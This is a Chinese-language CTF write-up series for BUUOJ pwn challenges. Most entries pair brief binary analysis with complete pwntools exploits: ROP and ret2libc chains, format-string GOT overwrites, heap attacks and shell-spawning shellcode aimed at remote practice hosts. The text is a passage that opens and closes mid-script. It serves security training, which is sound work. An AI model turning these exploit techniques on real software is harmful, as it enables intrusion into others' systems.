e = ELF('./PicoCTF_2018_can-you-gets-me')
sc_addr = (e.bss() + 0x1000) & 0xfffff000
offset = 0x18
pop_ebx_esi_edi_ebp_ret = e.search(asm('pop ebx ; pop esi ; pop edi ; pop ebp ; ret')).__next__()
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']

payload1 = b'A'*offset + p32(0xdeadbeef) + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef)  + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)

payload2 = asm(shellcraft.sh())

p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行即可 get shell

image.png

0x04F.picoctf_2018_got_shell - got hijack

惯例的checksec,只开了NX

image.png

拖入IDA进行分析

任意地址写4字节

image.png

有后门函数

image.png

exi的got改为后门函数地址即可,exp如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'i386'
p = remote('node3.buuoj.cn',25413)#process('./PicoCTF_2018_got-shell')#
e = ELF('./PicoCTF_2018_got-shell')
p.sendline(hex(e.got['exit']))
p.sendline(hex(e.sym['win']))
p.interactive()

运行即可 get shell

image.png

0x050.gyctf_2020_some_thing_exceting - Use After Free + Fastbin double free

惯例的 checksec ,除了PIE以外的保护全开

image.png

拖入IDA进行分析

大概是有着分配、打印、释放堆块的功能,编辑功能不可用

image.png

初始化时会将flag读入到bss段上,且将bss段上某个字节设为 0x60 (暗示(明示)在 bss 上构造 fake chunk)

image.png

一次会分配三个chunk,一个小chunk用来装用户的两个chunk,限制了大小不能大于0x70

image.png

存在UAF

image.png

那就通过fastbin double free获取一个位于bss段上的chunk后打印就有flag了

exp如下

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',28556)#process('./gyctf_2020_some_thing_exceting')#

def cmd(choice:int):
    p.recvuntil(b"> Now please tell me what you want to do :")
    p.sendline(str(choice).encode())

def new(size1:int, content1, size2:int, content2):
    cmd(1)
    p.recvuntil(b"> ba's length : ")
    p.sendline(str(size1).encode())
    p.recvuntil(b"> ba : ")
    p.send(content1)
    p.recvuntil(b"> na's length : ")
    p.sendline(str(size2).encode())
    p.recvuntil(b"> na : ")
    p.send(content2)

def free(index:int):
    cmd(3)
    p.recvuntil(b"> Banana ID : ")
    p.sendline(str(index).encode())

def dump(index:int):
    cmd(4)
    p.recvuntil(b"> SCP project ID : ")
    p.sendline(str(index).encode())

def exp():
    new(0x50, b'arttnba3', 0x50, b'arttnba3')
    new(0x50, b'arttnba3', 0x50, b'arttnba3')
    free(0)
    free(1)
    free(0)
    new(0x50, p64(0x6020a0 - 0x8), 0x50, b'arttnba3')
    new(0x50, b'arttnba3', 0x20, b'arttnba3')
    new(0x50, b'a', 0x50, b'f')
    dump(4)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可获得flag

image.png

0x051 ~ 0x060

0x051.axb_2019_brop64 - ret2libc | BROP

原题是Blind pwn,不过buu上给了二进制文件,那这道题就用两种方法来做做

解法一:ret2libc

惯例的checksec,只开了NX

image.png

拖入 IDA 进行分析

有溢出,有输出,套板子ret2libc

image.png

exp 如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 27522)#process('./axb_2019_brop64')#
e = ELF('./axb_2019_brop64')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')# 
offset = 0xd0
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
pop_rsi_pop_r15_ret = e.search(asm('pop rsi ; pop r15 ; ret')).__next__()

p.send(b'A' * offset + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(e.got['read']) + p64(e.plt['puts']) + p64(e.sym['main']))
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read_addr - libc.sym['read']
log.success('libc base: ' + hex(libc_base))

p.send(b'A' * offset + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()) + p64(libc_base + libc.sym['system']))
p.interactive()

运行即可 get shell

image.png

解法二:BROP

先🕊

0x052.axb_2019_fmt64 - fmtstr + got hijack

惯例的checksec,只开了NX

image.png

拖入IDA进行分析

不限制次数的格式化字符串漏洞

image.png

简单测试一下,格式化字符串大概是位于栈上的第 8 个参数

image.png

大概思路是利用got表泄露 libc 基址,改 printf 的 got 表为 system 即可

构造 exp 如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 25296)#process('./axb_2019_fmt64')#
e = ELF('./axb_2019_fmt64')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')# 

pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
pop_rsi_pop_r15_ret = e.search(asm('pop rsi ; pop r15 ; ret')).__next__()

p.send(b'%9$s\x00\x00\x00\x00' + p64(e.got['read']))
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read_addr - libc.sym['read']
log.success('libc base: ' + hex(libc_base))
sys_addr = libc_base + libc.sym['system']
printf_got = e.got['printf']
sys_low = sys_addr & 0xffff
sys_high = (sys_addr >> 16)  & 0xff

payload = b'%' + str(sys_high - 9).encode() + b'c%12$hhn'
payload += b'%' + str(sys_low - sys_high).encode() + b'c%13$hn'
payload = payload.ljust(4 * 8, b'\x00')
payload += p64(printf_got + 2)
payload += p64(printf_got)

#payload = fmtstr_payload(8, {printf_got:sys_addr})
p.send(payload)

sleep(1)
p.sendline(';/bin/sh')
p.interactive()

运行即可get shell

image.png

和 0x04B 一 模 一 样 的题目,就不赘叙了

exp 如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',29142)#process('./bamboobox') # 
e = ELF('./bamboobox')
libc = libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def cmd(choice:int):
    p.recvuntil(b"Your choice:")
    p.sendline(str(choice).encode())

def dump():
    cmd(1)

def new(size:int, content):
    cmd(2)
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the name of item:")
    p.send(content)

def edit(index:int, size:int, content):
    cmd(3)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the new name of the item:")
    p.send(content)

def free(index:int):
    cmd(4)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())

def exp():
    new(0xb0, b'arttnba3') # idx 0
    new(0x10, b'arttnba3') # idx 1
    new(0x10, b'arttnba3') # idx 2
    new(0x10, b'arttnba3') # idx 3
    new(0x40, p64(0x21) * 6) # idx 4
    new(0x10, b'arttnba3') # idx 5
    free(3)
    free(2)
    edit(1, 0x40, b'arttnba3' * 2 + p64(0) + p64(0x21))
    new(0x10, p64(0)) # idx 2
    new(0x10, p64(0)) # idx 3, overlappnig with idx 2
    edit(1, 0x40, b'arttnba5' * 2 + p64(0) + p64(0x91))
    free(3)
    dump()
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success('libc base leak: ' + hex(libc_base))
    new(0x10, b'arttnba3') # idx 3, overlappnig with idx 2
    edit(1, 0x40, b'arttnba5' * 2 + p64(0) + p64(0x71))
    free(2)
    edit(3, 0x10, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))
    new(0x60, b'arttnba3')
    new(0x60, b'A' * (0x13 - 8) + p64(libc_base + 0x4526a) + p64(libc_base + libc.sym['__libc_realloc']))
    #gdb.attach(p)
    cmd(2)
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(0x10).encode())
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x054.ciscn_2019_s_9 - ret2shellcode

惯例的 checksec,保护全关

image.png

拖入 IDA 进行分析

直接有个溢出

image.png

有个 gadget,那就直接ret2shellcode即可

image.png

exp 如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'i386'
p = remote('node3.buuoj.cn',26398)#process('./ciscn_s_9')#
jmp_esp = 0x8048554
sc = """
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov eax,0xB
int 0x80
"""

payload = asm(sc).ljust(0x24, b'a') + p32(jmp_esp) + asm('sub esp, 0x28 ; jmp esp')
p.sendline(payload)
p.interactive()

运行即可 get shell

image.png

惯例的checksec,保 护 全 开

image.png

拖入IDA进行分析,可知该程序有着分配、编辑、释放堆块的功能(打印功能无效)

image.png

开头有一个格式化字符串漏洞,可以直接利用这个泄露保存在栈上的libc相关地址(main返回值)与程序的加载地址,从而直接获得保存堆指针的地址

image.png

image.png

创建堆块时限制了我们只能创建 0x80 以上的,说明这次要绕过fastbin和bins数组正面刚(

image.png

创建和编辑都存在一个 off by one 漏洞

image.png

考虑通过 unlink 劫持 note 数组,之后就是常规流程

exp 如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',25780)#process('./axb_2019_heap')#
e = ELF('./axb_2019_heap')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
heap_array = 0x202060

def cmd(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new(index:int, size:int, content):
    cmd(1)
    p.recvuntil(b"Enter the index you want to create (0-10):")
    p.sendline(str(index).encode())
    p.recvuntil(b"Enter a size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Enter the content: ")
    p.send(content)


def free(index:int):
    cmd(2)
    p.recvuntil(b"Enter an index:")
    p.sendline(str(index).encode())

def edit(index:int, content):
    cmd(4)
    p.recvuntil(b"Enter an index:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Enter the content: ")
    p.send(content)

def exp():
    p.sendline(b'%15$p.%19$p')
    p.recvuntil(b"Hello, ")
    libc_base = (int(p.recvuntil(b'.', drop = True), 16) - libc.sym['__libc_start_main']) & 0xfffffffff000
    log.success('libc base: ' + hex(libc_base))
    elf_base = int(p.recvuntil(b'\n', drop = True), 16) - e.sym['main']
    log.success('elf base: ' + hex(elf_base))
    
    for i in range(5):
        new(i, 0xf8, b'arttnba3\n')
    
    edit(1, (p64(0) + p64(0xf1) + p64(elf_base + heap_array - 0x8) + p64(elf_base + heap_array)).ljust(0xf0, b'\x00') + p64(0xf0) + b'\x00')
    free(2)
    edit(1, p64(0) + p64(libc_base + libc.sym['__free_hook']) + p64(0x100) + p64(elf_base + heap_array) + p64(0x100) + b'\n')
    edit(0, p64(libc_base + libc.sym['system']) + b'\n')
    edit(1, p64(libc_base + libc.search(b'/bin/sh\x00').__next__()) + p64(0x100) + p64(elf_base + heap_array) + b'\n')
    free(0)

    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x056.mrctf2020_easy_equation - ret2text

惯例的checksec,只开了NX

image.png

拖入IDA进行分析

有溢出,有后门,直接往后门溢就完事了,什么格式化字符串之类的都无关紧要(

image.png

构造 exp 如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',26947)#process('./mrctf2020_easy_equation')#
backdoor = 0x4006D0
p.sendline(b'A' + p64(backdoor) * 0x100)
p.interactive()

运行即可 get shell

image.png

至此,BUUOJ上Pwn方向分数为 1 分的题目全部完结,总计 91 道题目

0x057.bad - ret2shellcode

惯例的 checksec ,保护全关

image.png

开了沙箱,应该只能orw

image.png

拖入 IDA 进行分析

直接就有个溢出

image.png

一个很贴心的gadget

image.png

写段shellcode进行orw即可

exp如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 28870)#process('./bad')#
e = ELF('./bad')
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
jmp_rsp = e.search(asm('jmp rsp')).__next__()
#gdb.attach(p)
payload1 = (asm(shellcraft.read(0, 0x601500, 100) + 'mov rax, 0x601500 ; jmp rax')).ljust(0x28, b'A') + p64(jmp_rsp) + asm('sub rsp, 0x30 ; jmp rsp')
shellcode = shellcraft.read(0, 0x601600, 100) + shellcraft.open('/flag')
shellcode += shellcraft.read('rax',0x601600,100)
shellcode += shellcraft.write(1,0x601600,100)

p.sendline(payload1)
sleep(1)
p.sendline(asm(shellcode))
p.interactive()

运行即可获得flag

image.png

0x058.picoctf_2018_leak_me - leak

拖入 IDA 中分析,两次连接,第一次输256字符泄漏出 password,第二次再输入 password 即可获得 flag

image.png

exp 如下:

from pwn import *
p = remote('node3.buuoj.cn', 26788)
p.send(b'A' * 256)
p.recvuntil(b',')
passwd = p.recvuntil(b'\n', drop = True)
p.sendline(passwd)
p.close()
p = remote('node3.buuoj.cn', 26788)
p.sendline(passwd)
p.sendline(passwd)
p.interactive()

运行即可获得flag

image.png

0x059.oneshot_tjctf_2016 - one_gadget

惯例的 checksec ,只开了 NX

image.png

拖入 IDA 进行分析

给一个任意读和跳转,那就读 got 表跳 one_gadget 即可

image.png

exp如下:

from pwn import *
p = remote('node3.buuoj.cn', 26263)
e = ELF('./oneshot_tjctf_2016')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')
p.sendline(str(e.got['puts']))
p.recvuntil(b"Value: ")
puts_addr = int(p.recvuntil(b'\n', drop = True), 16)
libc_base = puts_addr - libc.sym['puts']
log.success('libc base: ' + hex(libc_base))
p.sendline(str(libc_base + 0x45216))
p.interactive()

运行即可 get shell

image.png

0x05A.ciscn_2019_final_2 - Use After Free + file_no hijack

惯例的 checksec ,保护全开

image.png

开了sandbox,没法拿 shell

image.png

拖入IDA进行分析

在一开始时打开了flag文件,其文件描述符的标号是666

image.png

整个程序大概是有分配、释放、打印堆块的功能

image.png

大概是能够分配两种大小的 chunk

image.png

以及一个裸的UAF

image.png

限制了只能打印三次

image.png

在byebye函数中我们可以进行输入,随后程序会将我们输入的内容给输出出来

image.png

我们不难想到,若是将 stdin_fileno 域改为 666,那么在调用该函数时便会从flag文件中读取,由此我们便能得到flag

笔者这里的做法大概是先用 double free 泄漏出堆上地址低 2 字节,随后 double free 改一个 chunk 的 size 为 0x91,多次 alloc 另一种 chunk 后 free 该 chunk 送入 unsorted bin 泄露 libc 低 4 字节,随后再 double free 泄漏出堆上地址低 4 字节后 double free 改其指向堆上特定 chunk ,最后通过堆上残留指针写到 stdin 的 fileno 域

以及有符号无符号什么的笔者实在是不想转换了(笑),直接多次尝试获取都是正数的值再行下一步

故exp如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
global p
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')#
#libc = ELF('./libc-2.27.so')

def cmd(choice:int):
    p.recvuntil(b"which command?\n> ")
    p.sendline(str(choice).encode())

def new(type:int, content:int):
    cmd(1)
    p.recvuntil(b"TYPE:\n1: int\n2: short int\n>")
    p.sendline(str(type).encode())
    p.recvuntil(b"your inode number:")
    p.sendline(str(content).encode())

def free(type:int):
    cmd(2)
    p.recvuntil(b"TYPE:\n1: int\n2: short int\n>")
    p.sendline(str(type).encode())

def show(type:int):
    cmd(3)
    p.recvuntil(b"TYPE:\n1: int\n2: short int\n>")
    p.sendline(str(type).encode())
    p.recvuntil(b"inode number :")

def exp():
    new(1, 0x100)
    free(1)
    for i in range(4):
        new(2, 0x100)
    free(2)
    new(1, 0x100)
    free(2)
    show(2)
    heap_low_2_bytes = int(p.recvuntil(b'\n', drop = True), 10)
    if heap_low_2_bytes < 0:
        raise Exception()
    log.info(hex(heap_low_2_bytes))
    new(2, heap_low_2_bytes - 0xa0)
    new(2, 0x100)
    new(2, 0x91)
    for i in range(7):
        free(1)
        new(2, 0x100)
    for i in range(7):
        new(2, 0x88)
    free(1)
    show(1)
    main_arena_low_4_bytes = int(p.recvuntil(b'\n', drop = True), 10) - 96
    if main_arena_low_4_bytes < 0:
        raise Exception()
    log.info(hex(main_arena_low_4_bytes - 0x10 - libc.sym['__malloc_hook']))
    main_arena_low_2_bytes = main_arena_low_4_bytes & 0xffff
    if (main_arena_low_2_bytes - 0x10 + 14 * 0x8 - libc.sym['__malloc_hook'] + libc.sym['_IO_2_1_stdin_']) < 0:
        raise Exception()
    
    new(1, main_arena_low_4_bytes - 0x10 + 14 * 0x8 - libc.sym['__malloc_hook'] + libc.sym['_IO_2_1_stdin_'])
    free(1)
    new(2, main_arena_low_2_bytes - 0x10 + 14 * 0x8 - libc.sym['__malloc_hook'] + libc.sym['_IO_2_1_stdin_'])
    free(1)
    show(1)
    heap_low_4_bytes = int(p.recvuntil(b'\n', drop = True), 10)
    if heap_low_4_bytes < 0:
        raise Exception()
    log.info(hex(heap_low_4_bytes))
    new(1, heap_low_4_bytes + 0x30)
    new(1, 666)
    new(1, 666)
    new(1, 666)
    cmd(4)
    p.interactive()

if __name__ == '__main__':
    count = 1
    while True:
        try:
            print('time no.' + str(count))
            #p = process('./ciscn_final_2', env ={'LD_PRELOAD':'./libc-2.27.so'})
            p = remote('node3.buuoj.cn',28664)
            exp()
        except Exception as e:
            p.close()
            count += 1
            continue

运行即可获得 flag

image.png

0x05B.x_ctf_b0verfl0w - ret2libc

惯例的 checksec, 保护全关

image.png

拖入 IDA 进行分析

直接就有一个很大的溢出

image.png

套模板 ret2libc

exp如下:

from LibcSearcher import *
from pwn import *
p = remote('node3.buuoj.cn',29339)#process('./b0verfl0w')#
e = ELF('./b0verfl0w')
offset = 0x20

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts'])

p.sendline(payload1)
p.recvuntil(b'.')
puts_addr = u32(p.recv(4))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行即可 get shell

image.png

0x05C.cmcc_pwnme1 - ret2libc

惯例的 checksec, 保护全关

image.png

拖入 IDA 进行分析

直接就有一个很大的溢出

image.png

套模板 ret2libc

exp如下:

from LibcSearcher import *
from pwn import *
p = remote('node3.buuoj.cn',26176)#process('./pwnme1')#
e = ELF('./pwnme1')
offset = 0xA4

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts'])

p.sendline(b"5")
p.sendline(payload1)
p.recvuntil(b'...\n')
puts_addr = u32(p.recv(4))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(b"5")
p.sendline(payload2)
p.interactive()

运行即可 get shell

image.png

0x05D.wdb_2018_2nd_easyfmt - fmtstr + got hijack

惯例的 checksec ,开了NX

image.png

拖入 IDA 进行分析

不限次数的格式化字符串漏洞利用

image.png

格式字符串是栈上第 6 个参数

image.png

got表泄露 libc 基址 改 got 表一套带走

exp如下:

from pwn import *
p_name = './wdb_2018_2nd_easyfmt'
p = remote('node3.buuoj.cn',29449)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/32bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

p.recv()
p.sendline(b'%7$s' + p32(e.got['printf']))
printf_addr = u32(p.recv(4))
libc_base = printf_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
log.success('libc_base: ' + hex(libc_base))

p.sendline(fmtstr_payload(6, {e.got['printf']:sys_addr}))
p.sendline(b"/bin/sh\x00")
p.interactive()

运行即可 get shell

image.png

0x05E.inndy_echo - fmtstr + got hijack

惯例的 checksec ,开了NX

image.png

拖入 IDA 进行分析

不限次数的格式化字符串漏洞利用

image.png

格式字符串是栈上第 7 个参数

image.png

got表泄露 libc 基址 改 got 表一套带走

exp如下:

from pwn import *
p_name = './echo'
p = remote('node3.buuoj.cn',29718)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/32bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

p.sendline(b'%8$s' + p32(e.got['printf']))
printf_addr = u32(p.recv(4))
libc_base = printf_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
log.success('libc_base: ' + hex(libc_base))

p.sendline(fmtstr_payload(7, {e.got['printf']:sys_addr}))
p.sendline(b"/bin/sh\x00")
p.interactive()

运行即可 get shell

image.png

这和上一题不是一模一样🦄(恼

0x05F.gyctf_2020_force - House of Force

惯例的 checksc ,保护全开

image.png

拖入 IDA 进行分析

只有一个分配堆块的功能,不限制大小,会给出堆块地址,最多写入 0x50 字节,若是分配小堆块则毫无疑问可以溢出

image.png

没有 free 功能,也没法打印,唯一的输出点是输出堆块的地址,由于其不限制 size 的大小,不难想到若是我们分配一个特别大的 chunk ,sys_malloc 便会通过 MMAP 系统调用分配一块空间,刚好挨着 libc 映射的空间,由此我们便可以获得 libc 的地址

有溢出,libc 2.23 ,可以考虑通过 House of Force 劫持 top chunk 进行任意地址写改 __malloc_hook 为 one_gadget,以及别忘了 realloc 调栈

exp 如下:

from pwn import *
#context.log_level = 'debug'
p_name = './gyctf_2020_force'
p = remote('node3.buuoj.cn',25534)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')

def new(size:int, content):
    p.recvuntil(b"2:puts")
    p.sendline(b"1")
    p.recvuntil(b"size")
    p.sendline(str(size).encode())
    p.recvuntil(b"bin addr ")
    chunk_addr = int(p.recvuntil(b'\n', drop = True), 16)
    p.recvuntil(b"content")
    p.send(content)
    return chunk_addr

def exp():
    libc_leak = new(0x2000000, b'arttnba3')
    libc_base = libc_leak - 0x10 + 0x2000000 + 0x1000 # chunk header
    log.success('libc base: ' + hex(libc_base))

    heap_leak = new(0x10, b'arttnba3' * 2 + p64(0) + p64(0xfffffffffffffff1))
    top_chunk = heap_leak + 0x10
    log.success('top chunk: ' + hex(top_chunk))

    new(libc_base + libc.sym['__malloc_hook'] - top_chunk - 0x30, b'arttnba3')
    new(0x10, b'arttnba3' + p64(libc_base + 0x4526a) + p64(libc_base + libc.sym['__libc_realloc'] + 0x10))
    p.recvuntil(b"2:puts")
    p.sendline(b"1")
    p.recvuntil(b"size")
    p.sendline(str(0x10).encode())
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x060.suctf_2018_basic pwn - ret2text + ret2csu

惯例的 checksec,开了 NX 和 RELRO

image.png

拖入 IDA 进行分析,直接就有个很大的溢出

image.png

有个拿flag的后门,直接 ret2text

image.png

exp如下:

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p_name = './SUCTF_2018_basic_pwn'
p = remote('node3.buuoj.cn',26176)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')

offset = 0x110
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()

p.sendline(b'A' * offset + p64(0xdeadbeef) + p64(0x401157))
p.interactive()

运行即可 get flag

image.png

0x061 ~ 0x070.

正式进入第四页啦!

0x061.wustctf2020_name_your_cat - write out of bound

惯例的 checksec ,开了 NX 和 canary

image.png

拖入 IDA 进行分析

存在数组越界

image.png

image.png

给了个后门

image.png

改 main 的返回地址为后门即可

exp如下:

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
p_name = './wustctf2020_name_your_cat'
p = remote('node3.buuoj.cn',29927)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')

def new(index, content):
    p.recvuntil(b"Name for which?\n>")
    p.sendline(str(index).encode())
    p.recvuntil(b"Give your name plz: ")
    p.sendline(content)

def exp():
    for i in range(5):
        new(7, p32(0x80485CB))
    
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x062.wdb2018_guess - Stack Smashing Protect leak

惯例的 checksec ,开了 NX 和 canary

image.png

拖入 IDA 进行分析

有 gets(),有个 fork() 可以输入三次,但是没有常规的输出,似乎没法直接绕canary

image.png

既然 flag 已经被读到栈上了,那么我们可以想办法把 flag 给输出出来

考虑到 __stack_chk_fail() 的代码如下:

// debug/stack_chk_fail.c
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail_abort (false, "stack smashing detected");
}

strong_alias (__stack_chk_fail, __stack_chk_fail_local)

// debug/fortify_fail.c
void
__attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
  /* The loop is added only to keep gcc happy.  Don't pass down
     __libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
     may point to the corrupted stack.  */
  while (1)
    __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
		    "*** %s ***: %s terminated\n",
		    msg,
		    (need_backtrace && __libc_argv[0] != NULL
		     ? __libc_argv[0] : "<unknown>"));
}

__libc_argv[0] 不为 NULL 时会作为字符串进行输出

动态调试可以发现其位于栈上,不难想到我们可以通过溢出将其覆盖,以泄漏出我们所需要的数据;其偏移同样可以通过动态调试获得,需要注意的是应当使用相同版本的 libc 进行调试

image.png

由于仅有三次输出机会,考虑第一次通过 got 表泄漏出 libc 基址,第二次通过 __environ 泄漏出栈地址,最后泄漏出flag

exp如下:

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
p_name = './GUESS'
p = remote('node3.buuoj.cn', 29134)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')

offset = 0x128

p.sendline(b'A' * offset + p64(e.got['puts']))
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success('libc base: ' + hex(libc_base))

p.sendline(b'A' * offset + p64(libc_base + libc.sym['__environ']))
stack_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('stack leak: ' + hex(stack_leak))

p.sendline(b'A' * offset + p64(stack_leak - 0x168))
p.interactive()

运行即可获得 flag

image.png

惯例的 checksec ,只开了 NX 和 canary

image.png

拖入 IDA 进行分析

大概是有着创建、打印、编辑、释放堆块的功能

限制了只能够分配四个堆块,大小刚好卡 0x80 的线,可以拿到 unsorted bin

image.png

漏洞点主要在于其自定义的读取输入的函数中,在循环比较中的 i 为 unsigned 类型,因此比较时便会都转为 unsigned 类型进行比较,若是 size 为 0 则 size - 1 会变为一个很大的数,存在溢出

image.png

只能分配四个堆块,空间比较紧张,考虑 unlink 劫持指针数组后通过 got 表泄露 libc 后改 free hook 一套带走

exp如下:

from pwn import *
context.log_level = 'debug'
p_name = './note2'
p = remote('node3.buuoj.cn', 28871)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')

def cmd(command:int):
    p.recvuntil(b"option--->>")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Input the length of the note content:(less than 128)")
    p.sendline(str(size).encode())
    p.recvuntil(b"Input the note content:")
    p.sendline(content)

def show(index:int):
    cmd(2)
    p.recvuntil(b"Input the id of the note:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content is ")

def edit(index:int, mode:int, content):
    cmd(3)
    p.recvuntil(b"Input the id of the note:")
    p.sendline(str(index).encode())
    p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]")
    p.sendline(str(mode).encode())
    p.recvuntil(b"TheNewContents:")
    p.sendline(content)

def free(index:int):
    cmd(4)
    p.recvuntil(b"Input the id of the note:")
    p.sendline(str(index).encode())

def exp():
    p.sendline(b'arttnba3')
    p.sendline(b'arttnba3')
    new(0x10, b'arttnba3')
    new(0x20, b'arttnba3')
    new(0x80, b'arttnba3')
    edit(2, 1, b'arttnba3')
    free(0)
    new(0, b'arttnba3' * 2 + p64(0) + p64(0x31) + p64(0) + p64(0x21) + p64(0x602120 + 8 - 0x18) + p64(0x602120 + 8 - 0x10) + p64(0x20) + p64(0x90))
    free(2)
    edit(1, 1, b'arttnba3' * 2 + p64(e.got['free']))
    show(0)
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['free']
    log.success('libc base: ' + hex(libc_base))
    edit(1, 1, b'arttnba3' * 2 + p64(libc_base + libc.sym['__free_hook']))
    edit(0, 1, p64(libc_base + libc.sym['system']))
    edit(1, 1, b'arttnba3' * 2 + p64(libc_base + libc.search(b"/bin/sh\x00").__next__()))
    free(0)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x064.护网杯_2018_gettingstart - Overflow

拖入 IDA 进行分析

溢出改两个值即可拿 shell

imaeg.png

exp如下:

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 28688)

